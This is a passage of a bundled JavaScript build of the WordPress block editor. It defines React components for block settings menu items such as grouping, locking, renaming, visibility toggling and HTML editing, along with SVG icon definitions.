50650 isGroupable && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
50651 external_wp_components_namespaceObject.MenuItem,
50652 {
50653 shortcut: selectedBlockClientIds.length > 1 ? external_wp_keycodes_namespaceObject.displayShortcut.primary("g") : void 0,
50654 onClick: () => {
50655 onConvertToGroup();
50656 onClose();
50657 },
50658 children: (0,external_wp_i18n_namespaceObject._x)("Group", "verb")
50659 }
50660 ),
50661 isUngroupable && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
50662 external_wp_components_namespaceObject.MenuItem,
50663 {
50664 onClick: () => {
50665 onConvertFromGroup();
50666 onClose();
50667 },
50668 children: (0,external_wp_i18n_namespaceObject._x)(
50669 "Ungroup",
50670 "Ungrouping blocks from within a grouping block back into individual blocks within the Editor"
50671 )
50672 }
50673 )
50674 ] });
50675}
50676
50677
50678;// ./node_modules/@wordpress/block-editor/build-module/components/block-lock/use-block-lock.js
50679
50680
50681function useBlockLock(clientId) {
50682 return (0,external_wp_data_namespaceObject.useSelect)(
50683 (select) => {
50684 const {
50685 canEditBlock,
50686 canMoveBlock,
50687 canRemoveBlock,
50688 canLockBlockType,
50689 getBlockName,
50690 getTemplateLock
50691 } = select(store);
50692 const canEdit = canEditBlock(clientId);
50693 const canMove = canMoveBlock(clientId);
50694 const canRemove = canRemoveBlock(clientId);
50695 return {
50696 canEdit,
50697 canMove,
50698 canRemove,
50699 canLock: canLockBlockType(getBlockName(clientId)),
50700 isContentLocked: getTemplateLock(clientId) === "contentOnly",
50701 isLocked: !canEdit || !canMove || !canRemove
50702 };
50703 },
50704 [clientId]
50705 );
50706}
50707
50708
50709;// ./node_modules/@wordpress/icons/build-module/library/unlock.js
50710
50711
50712var unlock_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M17 10h-1.2V7c0-2.1-1.7-3.8-3.8-3.8-2.1 0-3.8 1.7-3.8 3.8h1.5c0-1.2 1-2.2 2.2-2.2s2.2 1 2.2 2.2v3H7c-.6 0-1 .4-1 1v8c0 .6.4 1 1 1h10c.6 0 1-.4 1-1v-8c0-.6-.4-1-1-1z" }) });
50713
50714
50715;// ./node_modules/@wordpress/icons/build-module/library/lock-outline.js
50716
50717
50718var lock_outline_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M17 10h-1.2V7c0-2.1-1.7-3.8-3.8-3.8-2.1 0-3.8 1.7-3.8 3.8v3H7c-.6 0-1 .4-1 1v8c0 .6.4 1 1 1h10c.6 0 1-.4 1-1v-8c0-.6-.4-1-1-1zM9.8 7c0-1.2 1-2.2 2.2-2.2 1.2 0 2.2 1 2.2 2.2v3H9.8V7zm6.7 11.5h-9v-7h9v7z" }) });
50719
50720
50721;// ./node_modules/@wordpress/icons/build-module/library/lock.js
50722
50723
50724var lock_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M17 10h-1.2V7c0-2.1-1.7-3.8-3.8-3.8-2.1 0-3.8 1.7-3.8 3.8v3H7c-.6 0-1 .4-1 1v8c0 .6.4 1 1 1h10c.6 0 1-.4 1-1v-8c0-.6-.4-1-1-1zm-2.8 0H9.8V7c0-1.2 1-2.2 2.2-2.2s2.2 1 2.2 2.2v3z" }) });
50725
50726
50727;// ./node_modules/@wordpress/block-editor/build-module/components/block-lock/modal.js
50728
50729
50730
50731
50732
50733
50734
50735
50736
50737
50738const ALLOWS_EDIT_LOCKING = ["core/navigation"];
50739function getTemplateLockValue(lock) {
50740 if (lock.remove && lock.move) {
50741 return "all";
50742 }
50743 if (lock.remove && !lock.move) {
50744 return "insert";
50745 }
50746 return false;
50747}
50748function BlockLockModal({ clientId, onClose }) {
50749 const [lock, setLock] = (0,external_wp_element_namespaceObject.useState)({ move: false, remove: false });
50750 const { canEdit, canMove, canRemove } = useBlockLock(clientId);
50751 const { allowsEditLocking, templateLock, hasTemplateLock } = (0,external_wp_data_namespaceObject.useSelect)(
50752 (select) => {
50753 const { getBlockName, getBlockAttributes } = select(store);
50754 const blockName = getBlockName(clientId);
50755 const blockType = (0,external_wp_blocks_namespaceObject.getBlockType)(blockName);
50756 return {
50757 allowsEditLocking: ALLOWS_EDIT_LOCKING.includes(blockName),
50758 templateLock: getBlockAttributes(clientId)?.templateLock,
50759 hasTemplateLock: !!blockType?.attributes?.templateLock
50760 };
50761 },
50762 [clientId]
50763 );
50764 const [applyTemplateLock, setApplyTemplateLock] = (0,external_wp_element_namespaceObject.useState)(
50765 !!templateLock
50766 );
50767 const { updateBlockAttributes } = (0,external_wp_data_namespaceObject.useDispatch)(store);
50768 const blockInformation = useBlockDisplayInformation(clientId);
50769 (0,external_wp_element_namespaceObject.useEffect)(() => {
50770 setLock({
50771 move: !canMove,
50772 remove: !canRemove,
50773 ...allowsEditLocking ? { edit: !canEdit } : {}
50774 });
50775 }, [canEdit, canMove, canRemove, allowsEditLocking]);
50776 const isAllChecked = Object.values(lock).every(Boolean);
50777 const isMixed = Object.values(lock).some(Boolean) && !isAllChecked;
50778 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
50779 external_wp_components_namespaceObject.Modal,
50780 {
50781 title: (0,external_wp_i18n_namespaceObject.sprintf)(
50782 /* translators: %s: Name of the block. */
50783 (0,external_wp_i18n_namespaceObject.__)("Lock %s"),
50784 blockInformation.title
50785 ),
50786 overlayClassName: "block-editor-block-lock-modal",
50787 onRequestClose: onClose,
50788 size: "small",
50789 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
50790 "form",
50791 {
50792 onSubmit: (event) => {
50793 event.preventDefault();
50794 updateBlockAttributes([clientId], {
50795 lock,
50796 templateLock: applyTemplateLock ? getTemplateLockValue(lock) : void 0
50797 });
50798 onClose();
50799 },
50800 children: [
50801 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("fieldset", { className: "block-editor-block-lock-modal__options", children: [
50802 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("legend", { children: (0,external_wp_i18n_namespaceObject.__)("Select the features you want to lock") }),
50803 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
50804 "ul",
50805 {
50806 role: "list",
50807 className: "block-editor-block-lock-modal__checklist",
50808 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("li", { children: [
50809 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
50810 external_wp_components_namespaceObject.CheckboxControl,
50811 {
50812 __nextHasNoMarginBottom: true,
50813 className: "block-editor-block-lock-modal__options-all",
50814 label: (0,external_wp_i18n_namespaceObject.__)("Lock all"),
50815 checked: isAllChecked,
50816 indeterminate: isMixed,
50817 onChange: (newValue) => setLock({
50818 move: newValue,
50819 remove: newValue,
50820 ...allowsEditLocking ? { edit: newValue } : {}
50821 })
50822 }
50823 ),
50824 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
50825 "ul",
50826 {
50827 role: "list",
50828 className: "block-editor-block-lock-modal__checklist",
50829 children: [
50830 allowsEditLocking && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("li", { className: "block-editor-block-lock-modal__checklist-item", children: [
50831 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
50832 external_wp_components_namespaceObject.CheckboxControl,
50833 {
50834 __nextHasNoMarginBottom: true,
50835 label: (0,external_wp_i18n_namespaceObject.__)("Lock editing"),
50836 checked: !!lock.edit,
50837 onChange: (edit) => setLock((prevLock) => ({
50838 ...prevLock,
50839 edit
50840 }))
50841 }
50842 ),
50843 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
50844 external_wp_components_namespaceObject.Icon,
50845 {
50846 className: "block-editor-block-lock-modal__lock-icon",
50847 icon: lock.edit ? lock_default : unlock_default
50848 }
50849 )
50850 ] }),
50851 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("li", { className: "block-editor-block-lock-modal__checklist-item", children: [
50852 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
50853 external_wp_components_namespaceObject.CheckboxControl,
50854 {
50855 __nextHasNoMarginBottom: true,
50856 label: (0,external_wp_i18n_namespaceObject.__)("Lock movement"),
50857 checked: lock.move,
50858 onChange: (move) => setLock((prevLock) => ({
50859 ...prevLock,
50860 move
50861 }))
50862 }
50863 ),
50864 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
50865 external_wp_components_namespaceObject.Icon,
50866 {
50867 className: "block-editor-block-lock-modal__lock-icon",
50868 icon: lock.move ? lock_default : unlock_default
50869 }
50870 )
50871 ] }),
50872 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("li", { className: "block-editor-block-lock-modal__checklist-item", children: [
50873 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
50874 external_wp_components_namespaceObject.CheckboxControl,
50875 {
50876 __nextHasNoMarginBottom: true,
50877 label: (0,external_wp_i18n_namespaceObject.__)("Lock removal"),
50878 checked: lock.remove,
50879 onChange: (remove) => setLock((prevLock) => ({
50880 ...prevLock,
50881 remove
50882 }))
50883 }
50884 ),
50885 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
50886 external_wp_components_namespaceObject.Icon,
50887 {
50888 className: "block-editor-block-lock-modal__lock-icon",
50889 icon: lock.remove ? lock_default : unlock_default
50890 }
50891 )
50892 ] })
50893 ]
50894 }
50895 )
50896 ] })
50897 }
50898 ),
50899 hasTemplateLock && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
50900 external_wp_components_namespaceObject.ToggleControl,
50901 {
50902 __nextHasNoMarginBottom: true,
50903 className: "block-editor-block-lock-modal__template-lock",
50904 label: (0,external_wp_i18n_namespaceObject.__)("Apply to all blocks inside"),
50905 checked: applyTemplateLock,
50906 disabled: lock.move && !lock.remove,
50907 onChange: () => setApplyTemplateLock(!applyTemplateLock)
50908 }
50909 )
50910 ] }),
50911 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
50912 external_wp_components_namespaceObject.Flex,
50913 {
50914 className: "block-editor-block-lock-modal__actions",
50915 justify: "flex-end",
50916 expanded: false,
50917 children: [
50918 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
50919 external_wp_components_namespaceObject.Button,
50920 {
50921 variant: "tertiary",
50922 onClick: onClose,
50923 __next40pxDefaultSize: true,
50924 children: (0,external_wp_i18n_namespaceObject.__)("Cancel")
50925 }
50926 ) }),
50927 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
50928 external_wp_components_namespaceObject.Button,
50929 {
50930 variant: "primary",
50931 type: "submit",
50932 __next40pxDefaultSize: true,
50933 children: (0,external_wp_i18n_namespaceObject.__)("Apply")
50934 }
50935 ) })
50936 ]
50937 }
50938 )
50939 ]
50940 }
50941 )
50942 }
50943 );
50944}
50945
50946
50947;// ./node_modules/@wordpress/block-editor/build-module/components/block-lock/menu-item.js
50948
50949
50950
50951
50952
50953
50954
50955function BlockLockMenuItem({ clientId }) {
50956 const { canLock, isLocked } = useBlockLock(clientId);
50957 const [isModalOpen, toggleModal] = (0,external_wp_element_namespaceObject.useReducer)(
50958 (isActive) => !isActive,
50959 false
50960 );
50961 if (!canLock) {
50962 return null;
50963 }
50964 const label = isLocked ? (0,external_wp_i18n_namespaceObject.__)("Unlock") : (0,external_wp_i18n_namespaceObject.__)("Lock");
50965 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
50966 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
50967 external_wp_components_namespaceObject.MenuItem,
50968 {
50969 icon: isLocked ? unlock_default : lock_outline_default,
50970 onClick: toggleModal,
50971 "aria-expanded": isModalOpen,
50972 "aria-haspopup": "dialog",
50973 children: label
50974 }
50975 ),
50976 isModalOpen && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(BlockLockModal, { clientId, onClose: toggleModal })
50977 ] });
50978}
50979
50980
50981;// ./node_modules/@wordpress/block-editor/build-module/components/block-settings-menu/block-mode-toggle.js
50982
50983
50984
50985
50986
50987
50988const block_mode_toggle_noop = () => {
50989};
50990function BlockModeToggle({ clientId, onToggle = block_mode_toggle_noop }) {
50991 const { blockType, mode, enabled } = (0,external_wp_data_namespaceObject.useSelect)(
50992 (select) => {
50993 const { getBlock, getBlockMode, getSettings } = select(store);
50994 const block = getBlock(clientId);
50995 return {
50996 mode: getBlockMode(clientId),
50997 blockType: block ? (0,external_wp_blocks_namespaceObject.getBlockType)(block.name) : null,
50998 enabled: getSettings().codeEditingEnabled && !!block?.isValid
50999 };
51000 },
51001 [clientId]
51002 );
51003 const { toggleBlockMode } = (0,external_wp_data_namespaceObject.useDispatch)(store);
51004 if (!blockType || !(0,external_wp_blocks_namespaceObject.hasBlockSupport)(blockType, "html", true) || !enabled) {
51005 return null;
51006 }
51007 const label = mode === "visual" ? (0,external_wp_i18n_namespaceObject.__)("Edit as HTML") : (0,external_wp_i18n_namespaceObject.__)("Edit visually");
51008 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
51009 external_wp_components_namespaceObject.MenuItem,
51010 {
51011 onClick: () => {
51012 toggleBlockMode(clientId);
51013 onToggle();
51014 },
51015 children: label
51016 }
51017 );
51018}
51019
51020
51021;// ./node_modules/@wordpress/block-editor/build-module/components/content-lock/modify-content-lock-menu-item.js
51022
51023
51024
51025
51026
51027
51028function ModifyContentLockMenuItem({ clientId, onClose }) {
51029 const { templateLock, isLockedByParent, isEditingAsBlocks } = (0,external_wp_data_namespaceObject.useSelect)(
51030 (select) => {
51031 const {
51032 getContentLockingParent,
51033 getTemplateLock,
51034 getTemporarilyEditingAsBlocks
51035 } = unlock(select(store));
51036 return {
51037 templateLock: getTemplateLock(clientId),
51038 isLockedByParent: !!getContentLockingParent(clientId),
51039 isEditingAsBlocks: getTemporarilyEditingAsBlocks() === clientId
51040 };
51041 },
51042 [clientId]
51043 );
51044 const blockEditorActions = (0,external_wp_data_namespaceObject.useDispatch)(store);
51045 const isContentLocked = !isLockedByParent && templateLock === "contentOnly";
51046 if (!isContentLocked && !isEditingAsBlocks) {
51047 return null;
51048 }
51049 const { modifyContentLockBlock } = unlock(blockEditorActions);
51050 const showStartEditingAsBlocks = !isEditingAsBlocks && isContentLocked;
51051 return showStartEditingAsBlocks && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
51052 external_wp_components_namespaceObject.MenuItem,
51053 {
51054 onClick: () => {
51055 modifyContentLockBlock(clientId);
51056 onClose();
51057 },
51058 children: (0,external_wp_i18n_namespaceObject._x)("Modify", "Unlock content locked blocks")
51059 }
51060 );
51061}
51062
51063
51064;// ./node_modules/@wordpress/block-editor/build-module/components/block-rename/use-block-rename.js
51065
51066function useBlockRename(name) {
51067 return {
51068 canRename: (0,external_wp_blocks_namespaceObject.getBlockSupport)(name, "renaming", true)
51069 };
51070}
51071
51072
51073;// ./node_modules/@wordpress/block-editor/build-module/components/block-rename/is-empty-string.js
51074function isEmptyString(testString) {
51075 return testString?.trim()?.length === 0;
51076}
51077
51078
51079;// ./node_modules/@wordpress/block-editor/build-module/components/block-rename/modal.js
51080
51081
51082
51083
51084
51085
51086
51087
51088
51089
51090function BlockRenameModal({ clientId, onClose }) {
51091 const [editedBlockName, setEditedBlockName] = (0,external_wp_element_namespaceObject.useState)();
51092 const blockInformation = useBlockDisplayInformation(clientId);
51093 const { metadata } = (0,external_wp_data_namespaceObject.useSelect)(
51094 (select) => {
51095 const { getBlockAttributes } = select(store);
51096 return {
51097 metadata: getBlockAttributes(clientId)?.metadata
51098 };
51099 },
51100 [clientId]
51101 );
51102 const { updateBlockAttributes } = (0,external_wp_data_namespaceObject.useDispatch)(store);
51103 const blockName = metadata?.name || "";
51104 const originalBlockName = blockInformation?.title;
51105 const hasOverridesWarning = !!blockName && !!metadata?.bindings && Object.values(metadata.bindings).some(
51106 (binding) => binding.source === "core/pattern-overrides"
51107 );
51108 const nameHasChanged = editedBlockName !== void 0 && editedBlockName !== blockName;
51109 const nameIsOriginal = editedBlockName === originalBlockName;
51110 const nameIsEmpty = isEmptyString(editedBlockName);
51111 const isNameValid = nameHasChanged || nameIsOriginal;
51112 const autoSelectInputText = (event) => event.target.select();
51113 const handleSubmit = () => {
51114 const newName = nameIsOriginal || nameIsEmpty ? void 0 : editedBlockName;
51115 const message = nameIsOriginal || nameIsEmpty ? (0,external_wp_i18n_namespaceObject.sprintf)(
51116 /* translators: %s: new name/label for the block */
51117 (0,external_wp_i18n_namespaceObject.__)('Block name reset to: "%s".'),
51118 editedBlockName
51119 ) : (0,external_wp_i18n_namespaceObject.sprintf)(
51120 /* translators: %s: new name/label for the block */
51121 (0,external_wp_i18n_namespaceObject.__)('Block name changed to: "%s".'),
51122 editedBlockName
51123 );
51124 (0,external_wp_a11y_namespaceObject.speak)(message, "assertive");
51125 updateBlockAttributes([clientId], {
51126 metadata: utils_cleanEmptyObject({
51127 ...metadata,
51128 name: newName
51129 })
51130 });
51131 onClose();
51132 };
51133 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
51134 external_wp_components_namespaceObject.Modal,
51135 {
51136 title: (0,external_wp_i18n_namespaceObject.__)("Rename"),
51137 onRequestClose: onClose,
51138 overlayClassName: "block-editor-block-rename-modal",
51139 focusOnMount: "firstContentElement",
51140 size: "small",
51141 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
51142 "form",
51143 {
51144 onSubmit: (e) => {
51145 e.preventDefault();
51146 if (!isNameValid) {
51147 return;
51148 }
51149 handleSubmit();
51150 },
51151 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, { spacing: "3", children: [
51152 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
51153 external_wp_components_namespaceObject.TextControl,
51154 {
51155 __nextHasNoMarginBottom: true,
51156 __next40pxDefaultSize: true,
51157 value: editedBlockName ?? blockName,
51158 label: (0,external_wp_i18n_namespaceObject.__)("Name"),
51159 help: hasOverridesWarning ? (0,external_wp_i18n_namespaceObject.__)(
51160 "This block allows overrides. Changing the name can cause problems with content entered into instances of this pattern."
51161 ) : void 0,
51162 placeholder: originalBlockName,
51163 onChange: setEditedBlockName,
51164 onFocus: autoSelectInputText
51165 }
51166 ),
51167 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, { justify: "right", children: [
51168 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
51169 external_wp_components_namespaceObject.Button,
51170 {
51171 __next40pxDefaultSize: true,
51172 variant: "tertiary",
51173 onClick: onClose,
51174 children: (0,external_wp_i18n_namespaceObject.__)("Cancel")
51175 }
51176 ),
51177 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
51178 external_wp_components_namespaceObject.Button,
51179 {
51180 __next40pxDefaultSize: true,
51181 accessibleWhenDisabled: true,
51182 disabled: !isNameValid,
51183 variant: "primary",
51184 type: "submit",
51185 children: (0,external_wp_i18n_namespaceObject.__)("Save")
51186 }
51187 )
51188 ] })
51189 ] })
51190 }
51191 )
51192 }
51193 );
51194}
51195
51196
51197;// ./node_modules/@wordpress/block-editor/build-module/components/block-rename/rename-control.js
51198
51199
51200
51201
51202
51203function BlockRenameControl({ clientId }) {
51204 const [renamingBlock, setRenamingBlock] = (0,external_wp_element_namespaceObject.useState)(false);
51205 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
51206 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
51207 external_wp_components_namespaceObject.MenuItem,
51208 {
51209 onClick: () => {
51210 setRenamingBlock(true);
51211 },
51212 "aria-expanded": renamingBlock,
51213 "aria-haspopup": "dialog",
51214 children: (0,external_wp_i18n_namespaceObject.__)("Rename")
51215 }
51216 ),
51217 renamingBlock && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
51218 BlockRenameModal,
51219 {
51220 clientId,
51221 onClose: () => setRenamingBlock(false)
51222 }
51223 )
51224 ] });
51225}
51226
51227
51228;// ./node_modules/@wordpress/icons/build-module/library/seen.js
51229
51230
51231var seen_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M3.99961 13C4.67043 13.3354 4.6703 13.3357 4.67017 13.3359L4.67298 13.3305C4.67621 13.3242 4.68184 13.3135 4.68988 13.2985C4.70595 13.2686 4.7316 13.2218 4.76695 13.1608C4.8377 13.0385 4.94692 12.8592 5.09541 12.6419C5.39312 12.2062 5.84436 11.624 6.45435 11.0431C7.67308 9.88241 9.49719 8.75 11.9996 8.75C14.502 8.75 16.3261 9.88241 17.5449 11.0431C18.1549 11.624 18.6061 12.2062 18.9038 12.6419C19.0523 12.8592 19.1615 13.0385 19.2323 13.1608C19.2676 13.2218 19.2933 13.2686 19.3093 13.2985C19.3174 13.3135 19.323 13.3242 19.3262 13.3305L19.3291 13.3359C19.3289 13.3357 19.3288 13.3354 19.9996 13C20.6704 12.6646 20.6703 12.6643 20.6701 12.664L20.6697 12.6632L20.6688 12.6614L20.6662 12.6563L20.6583 12.6408C20.6517 12.6282 20.6427 12.6108 20.631 12.5892C20.6078 12.5459 20.5744 12.4852 20.5306 12.4096C20.4432 12.2584 20.3141 12.0471 20.1423 11.7956C19.7994 11.2938 19.2819 10.626 18.5794 9.9569C17.1731 8.61759 14.9972 7.25 11.9996 7.25C9.00203 7.25 6.82614 8.61759 5.41987 9.9569C4.71736 10.626 4.19984 11.2938 3.85694 11.7956C3.68511 12.0471 3.55605 12.2584 3.4686 12.4096C3.42484 12.4852 3.39142 12.5459 3.36818 12.5892C3.35656 12.6108 3.34748 12.6282 3.34092 12.6408L3.33297 12.6563L3.33041 12.6614L3.32948 12.6632L3.32911 12.664C3.32894 12.6643 3.32879 12.6646 3.99961 13ZM11.9996 16C13.9326 16 15.4996 14.433 15.4996 12.5C15.4996 10.567 13.9326 9 11.9996 9C10.0666 9 8.49961 10.567 8.49961 12.5C8.49961 14.433 10.0666 16 11.9996 16Z" }) });
51232
51233
51234;// ./node_modules/@wordpress/icons/build-module/library/unseen.js
51235
51236
51237var unseen_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M20.7 12.7s0-.1-.1-.2c0-.2-.2-.4-.4-.6-.3-.5-.9-1.2-1.6-1.8-.7-.6-1.5-1.3-2.6-1.8l-.6 1.4c.9.4 1.6 1 2.1 1.5.6.6 1.1 1.2 1.4 1.6.1.2.3.4.3.5v.1l.7-.3.7-.3Zm-5.2-9.3-1.8 4c-.5-.1-1.1-.2-1.7-.2-3 0-5.2 1.4-6.6 2.7-.7.7-1.2 1.3-1.6 1.8-.2.3-.3.5-.4.6 0 0 0 .1-.1.2s0 0 .7.3l.7.3V13c0-.1.2-.3.3-.5.3-.4.7-1 1.4-1.6 1.2-1.2 3-2.3 5.5-2.3H13v.3c-.4 0-.8-.1-1.1-.1-1.9 0-3.5 1.6-3.5 3.5s.6 2.3 1.6 2.9l-2 4.4.9.4 7.6-16.2-.9-.4Zm-3 12.6c1.7-.2 3-1.7 3-3.5s-.2-1.4-.6-1.9L12.4 16Z" }) });
51238
51239
51240;// ./node_modules/@wordpress/block-editor/build-module/components/block-visibility/menu-item.js
51241
51242
51243
51244
51245
51246
51247
51248
51249
51250function BlockVisibilityMenuItem({ clientIds }) {
51251 const { updateBlockAttributes } = (0,external_wp_data_namespaceObject.useDispatch)(store);
51252 const { createSuccessNotice } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
51253 const blocks = (0,external_wp_data_namespaceObject.useSelect)(
51254 (select) => {
51255 return select(store).getBlocksByClientId(clientIds);
51256 },
51257 [clientIds]
51258 );
51259 const listViewShortcut = (0,external_wp_data_namespaceObject.useSelect)((select) => {
51260 return select(external_wp_keyboardShortcuts_namespaceObject.store).getShortcutRepresentation(
51261 "core/editor/toggle-list-view"
51262 );
51263 }, []);
51264 const hasHiddenBlock = blocks.some(
51265 (block) => block.attributes.metadata?.blockVisibility === false
51266 );
51267 const toggleBlockVisibility = () => {
51268 const isHiding = !hasHiddenBlock;
51269 const attributesByClientId = Object.fromEntries(
51270 blocks?.map(({ clientId, attributes }) => [
51271 clientId,
51272 {
51273 metadata: utils_cleanEmptyObject({
51274 ...attributes?.metadata,
51275 blockVisibility: isHiding ? false : void 0
51276 })
51277 }
51278 ])
51279 );
51280 updateBlockAttributes(clientIds, attributesByClientId, {
51281 uniqueByBlock: true
51282 });
51283 if (isHiding) {
51284 if (blocks.length > 1) {
51285 createSuccessNotice(
51286 (0,external_wp_i18n_namespaceObject.sprintf)(
51287 // translators: %s: The shortcut key to access the List View.
51288 (0,external_wp_i18n_namespaceObject.__)(
51289 "Blocks hidden. You can access them via the List View (%s)."
51290 ),
51291 listViewShortcut
51292 ),
51293 {
51294 id: "block-visibility-hidden",
51295 type: "snackbar"
51296 }
51297 );
51298 } else {
51299 createSuccessNotice(
51300 (0,external_wp_i18n_namespaceObject.sprintf)(
51301 // translators: %s: The shortcut key to access the List View.
51302 (0,external_wp_i18n_namespaceObject.__)(
51303 "Block hidden. You can access it via the List View (%s)."
51304 ),
51305 listViewShortcut
51306 ),
51307 {
51308 id: "block-visibility-hidden",
51309 type: "snackbar"
51310 }
51311 );
51312 }
51313 }
51314 };
51315 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
51316 external_wp_components_namespaceObject.MenuItem,
51317 {
51318 icon: hasHiddenBlock ? seen_default : unseen_default,
51319 onClick: toggleBlockVisibility,
51320 children: hasHiddenBlock ? (0,external_wp_i18n_namespaceObject.__)("Show") : (0,external_wp_i18n_namespaceObject.__)("Hide")
51321 }
51322 );
51323}
51324
51325
51326;// ./node_modules/@wordpress/block-editor/build-module/components/block-settings-menu-controls/index.js
51327
51328
51329
51330
51331
51332
51333
51334
51335
51336
51337
51338const { Fill, Slot: block_settings_menu_controls_Slot } = (0,external_wp_components_namespaceObject.createSlotFill)("BlockSettingsMenuControls");
51339const BlockSettingsMenuControlsSlot = ({ fillProps, clientIds = null }) => {
51340 const {
51341 selectedBlocks,
51342 selectedClientIds,
51343 isContentOnly,
51344 canToggleSelectedBlocksVisibility
51345 } = (0,external_wp_data_namespaceObject.useSelect)(
51346 (select) => {
51347 const {
51348 getBlocksByClientId,
51349 getBlockNamesByClientId,
51350 getSelectedBlockClientIds,
51351 getBlockEditingMode
51352 } = select(store);
51353 const ids = clientIds !== null ? clientIds : getSelectedBlockClientIds();
51354 return {
51355 selectedBlocks: getBlockNamesByClientId(ids),
51356 selectedClientIds: ids,
51357 isContentOnly: getBlockEditingMode(ids[0]) === "contentOnly",
51358 canToggleSelectedBlocksVisibility: getBlocksByClientId(
51359 ids
51360 ).every(
51361 (block) => (0,external_wp_blocks_namespaceObject.hasBlockSupport)(block.name, "visibility", true)
51362 )
51363 };
51364 },
51365 [clientIds]
51366 );
51367 const { canLock } = useBlockLock(selectedClientIds[0]);
51368 const { canRename } = useBlockRename(selectedBlocks[0]);
51369 const showLockButton = selectedClientIds.length === 1 && canLock && !isContentOnly;
51370 const showRenameButton = selectedClientIds.length === 1 && canRename && !isContentOnly;
51371 const showVisibilityButton = canToggleSelectedBlocksVisibility && !isContentOnly;
51372 const convertToGroupButtonProps = useConvertToGroupButtonProps(selectedClientIds);
51373 const { isGroupable, isUngroupable } = convertToGroupButtonProps;
51374 const showConvertToGroupButton = (isGroupable || isUngroupable) && !isContentOnly;
51375 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
51376 block_settings_menu_controls_Slot,
51377 {
51378 fillProps: {
51379 ...fillProps,
